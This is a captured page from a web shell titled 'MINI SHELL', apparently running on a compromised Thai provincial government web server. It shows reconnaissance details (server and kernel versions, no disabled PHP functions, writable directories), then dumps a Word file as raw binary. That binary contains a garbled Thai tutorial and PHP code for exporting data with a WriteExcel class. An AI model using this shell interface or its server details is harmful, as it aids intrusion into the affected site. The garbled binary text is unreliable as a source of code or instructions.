MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_integration/requirement/application/ecomplain/xls_class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_integration/requirement/application/ecomplain/xls_class/doc.doc
ࡱ>	LNKq`	TBbjbjqPqP	4N::?~~~~~~~d>VllllGGG}$4h>~GGGGG~~ll<111GN~l~l}1G}11~~1lJ`N1Y$R01
1~1(GG1GGGGG'
GGGGGGG66~~~~~~@#7H-!7-*3+#12#*#I2D%L Excel  1. PHP WriteExcel Class *3+#1*#I2D%L Excel 2'LB+%DI2   HYPERLINK "http://www.bettina-attack.de/jonny/view.php/projects/php_writeexcel" http://www.bettina-attack.de/jonny/view.php/projects/php_writeexcel '452#@5"C+I PHP *2!2# Export --!2@G Excel 1. @!7H-2'LB+%D%L PHP WriteExcel Class !2A%I'G32#A% Directory D+GDI0#1"1'-"H2@
H /home/phpexcel 2.C Directory /home/phpexcel C+I@-2AHD%L5H!5
7H-6III'" class.* !2-1I%DDI@%"#1 3. CD%L class.writeexcel_worksheet.inc.php C+ID+23'H2 $fh=fopen($this->_tmpfilename, "w+b"); -@-A%I' Comment  I'" # I2+I2*8-##1@%"#1 4. CD%L class.writeexcel_worksheet.inc.php C+I+23'H2 $this->_print_gridlines = 1;  C+IAI@G $this->_print_gridlines = 0; 5. '452#@5"B#A#!C+I Export --!2@G Excel"1!5H-#1%4-H2H-DI@%"#1 
require_once "/home/phpexcel/class.writeexcel_workbook.inc.php";require_once "/home/phpexcel/class.writeexcel_worksheet.inc.php";$token = md5(uniqid(rand(), true)); $fname= "../tmp/$token.xls";$workbook =& new writeexcel_workbook($fname);$worksheet =& $workbook->addworksheet("I-!9%1(6)25H%0@5"");$worksheet->set_margin_right(0.50);$worksheet->set_margin_bottom(1.10);## Set Format##$xlscelldesc_header =& $workbook->addformat();$xlscelldesc_header->set_font('Angsana New');$xlscelldesc_header->set_size(18);$xlscelldesc_header->set_color('black');$xlscelldesc_header->set_bold(1);$xlscelldesc_header->set_text_v_align(1);$xlscelldesc_header->set_merge(1);$xlsCellDesc =& $workbook->addformat();$xlsCellDesc->set_font('Angsana New');$xlsCellDesc->set_size(14);$xlsCellDesc->set_color('black');$xlsCellDesc->set_bold(1);$xlsCellDesc->set_align('left');$xlsCellDesc->set_text_v_align(1);## End of Set Format #### Set Column Width & Height3+'2!'I2- Cell$worksheet->set_column('A:B', 2);$worksheet->set_column('B:C', 4);$worksheet->set_column('C:D', 11.29);$worksheet->set_column('D:E', 21);$worksheet->set_column('E:F', 15);$worksheet->set_column('F:G', 32);$celldesc_h = 16.50;## Writing Data@4H!I-!9%%C Cell$worksheet->write_blank(A1,$xlscelldesc_header);$worksheet->write(B1,"I-!9%1(6)25H%0@5"  2@#5"5H $semester 52#(6)2 $year", $xlscelldesc_header);$worksheet->write_blank(C1,$xlscelldesc_header);$worksheet->write_blank(D1,$xlscelldesc_header);$worksheet->write_blank(E1,$xlscelldesc_header);$worksheet->write_blank(F1,$xlscelldesc_header);# 3+'2!*9- Cell$:F		



2
:
H
V
h
t




Lx~2DPRҽyҽd)h[h[B*CJOJQJ^JaJph%h[h[B*CJOJQJ^JphW2jh[h[B*CJOJQJU^JaJph,h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJph+h[h[5B*CJOJQJ\^Jph.h[h[5B*CJOJQJ\^Jph&NAARBTB	d8Kgd[Nkd$$If^)	
)634`
ap
d8$Ifgd[	d8gd[TB

8
B
F
|






0FZ\JPfվվվվթվՔվվ|gR)h[h[B*CJOJQJ^JaJphw)h[h[B*	CJOJQJ^JaJph.h[h[5B*CJOJQJ\^Jph)h[h[B*	CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJph,h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJph
@NUWZ[abfjn	6ThlT|Ք)h[h[B*CJOJQJ^JaJph,h[h[B*CJOJQJ^JaJph)h[h[B*	CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJphw)h[h[B*CJOJQJ^JaJph:24<=?Naclmt$'02;KWYabo~$&2Phl)h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJphw)h[h[B*	CJOJQJ^JaJphH4Xz	
#%/057<KUWabgikz (꾩)h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJphw)h[h[B*	CJOJQJ^JaJph,h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJph:(*DX\rtxz8L`nr0DH^`df$8Կ~~,h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJphw)h[h[B*	CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJph,h[h[B*CJOJQJ^JaJph18<RTXZ000$0&0(0,0B0b0v0z00000000000001&1:1>1L1N1P1T1j111111111222&2(2,202էU,h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJph)h[h[B*	CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJphw:worksheet->set_row(1, $celldesc_h); $worksheet->set_row(2, $celldesc_h);$worksheet->set_row(3, $celldesc_h);$worksheet->set_row(4, $celldesc_h);$worksheet->set_row(5, $celldesc_h);$worksheet->write(B4, "#+1*'4
2 :", $xlscelldesc_header);$worksheet->write(D4, "$courseno ", $xlscelldesc_header);$worksheet->write(B6,"5H", $xlscelldesc_header); $worksheet->write(C6,"#+1*1(6)2", $xlscelldesc_header);$worksheet->write(D6,"
7H- - 2!*8%", $xlscelldesc_header);$worksheet->write_blank(E6,$xlscelldesc_header);$worksheet->write(F6," ", $xlscelldesc_header);$xlsRow = 7;# #5I7-6I-!9%2 mysql !2C*HC Cellwhile(list($id,$prename,$name,$sname)=mysql_fetch_row($result)) {++$i;$worksheet->set_row($xlsRow, 19.80);$worksheet->write("B$xlsRow", "$i", $xlsCellDesc);$worksheet->write("C$xlsRow", "$id", $xlsCellDesc); $worksheet->write("D$xlsRow", "$prename$name", $xlsCellDesc);$worksheet->write("E$xlsRow", "$sname", $xlsCellDesc);$worksheet->write("F$xlsRow", "......................................................................", $xlsCellDesc); $xlsRow++;}# @*#GA%I'G*HD%LD"1 Browser #1AH5IG@*#GA%I'$workbook->close();header("Pragma: public");header("Expires: 0");header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download");header("Content-Type: application/octet-stream");header("Content-Type: application/download");header("Content-Disposition: attachment; filename=".basename("
7H-D%L.xls").";");header("Content-Transfer-Encoding: binary ");header("Content-Length: ".filesize($fname));readfile($fname); unlink($fname);exit();6. @5"@H25IH2G*2!2#3 Report 5H Print --!2*'"+#9A!"1@-2DC
I3'DII'" Excel 

0262L2P2v22222222223(3<3@3J3L3P3R3T3\3`333333333333444H4L4V4X4\4^4`4l4n4~4444444444"5@5T5X5b5d5h5j5p5t5Ӿ꾩ӾӾӾ)h[h[B*	CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJphw,h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJphBt555555556(686b6x6~6666666666677J7^7b7p7r7777777777888$8Z8n8r8|8~88888889999ՔՔՔՔ)h[h[B*CJOJQJ^JaJph,h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJphw)h[h[B*	CJOJQJ^JaJph:9,909N9R9j9999999999:>:R:V:`:b:v:z:
;;&;N;\;;;;;<*<<<@<J<r<~<<<<<<<== ===== >F>R>T>>>>ի,h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJph)h[h[B*	CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJphw)h[h[B*CJOJQJ^JaJph:>> ?F?R?T??????????@@@b@@@@@@@@@AAA AHATAVAbAAAAAAAAAթꔃll,h[h[B*CJOJQJ^JaJph h[h[CJOJQJ^JaJ)h[h[B*CJOJQJ^JaJph,h[h[B*CJOJQJ^JaJph)h[h[B*	CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJph)h[h[B*CJOJQJ^JaJphw*ADBRBTBhR)h[h[B*CJOJQJ^JaJph,h[h[B*CJOJQJ^JaJph21h:p[. A!"#$%$$If!vh5)#v):V	
)6,534`
p
L@LNormal$CJ OJQJ^J_HaJ mH	sH	tH	DA@DDefault Paragraph FontRi@RTable Normal4
l4a(k@(No ListBU`B[	Hyperlink57>*S*Y(\phW\^`\[Normal (Web)d8KB*CJOJQJ^JaJph*W`*[Strong5\?N>A@0XI0	@0 @0X0>AK0I00@ 000>(802t59>ATB"#$%&TBTBo?X8@0(	
B
S	?/9@PVe	$+4CVZdk~"()KLXZ\]bkvy|#-6ESjq{?[a
$@Pp*<>FYkmv"-<EVackmt3>@P		/	9	a	k							
%
)
*
C
N







9Dv ',6RY^h0
9
>
P
z









 EKLSWi
#()1Rjl{
'U]hs
GOV\s{}7A+BCV!"()KSjW[A333333AAR[A@

=





	
?@@
@@@ @@@(@@@0@@@@0UnknownGz Times New Roman5Symbol3&z Arial5&zaTahoma?Angsana NewC&Browallia NewA&BrowalliaUPC"qhM&N&+
&+
&!24552 HX(?j[2ownerownerOh+'0X	
 
,8@HPjownerNormal.dotowner2Microsoft Office Word@F#@^N@N+՜.+,D՜.+,4hp
jMicrosoft&
5Title 8@_PID_HLINKSjAaDhttp://www.bettina-attack.de/jonny/view.php/projects/php_writeexcelM	

 !"#$%&')*+,-./123456789:<=>?@ABDEFGHIJMRoot Entry	F@NOData
(1Table0WordDocument4NSummaryInformation(;DocumentSummaryInformation8CCompObjq
	FMicrosoft Office Word Document
MSWordDocWord.Document.89q

Anon7 - 2021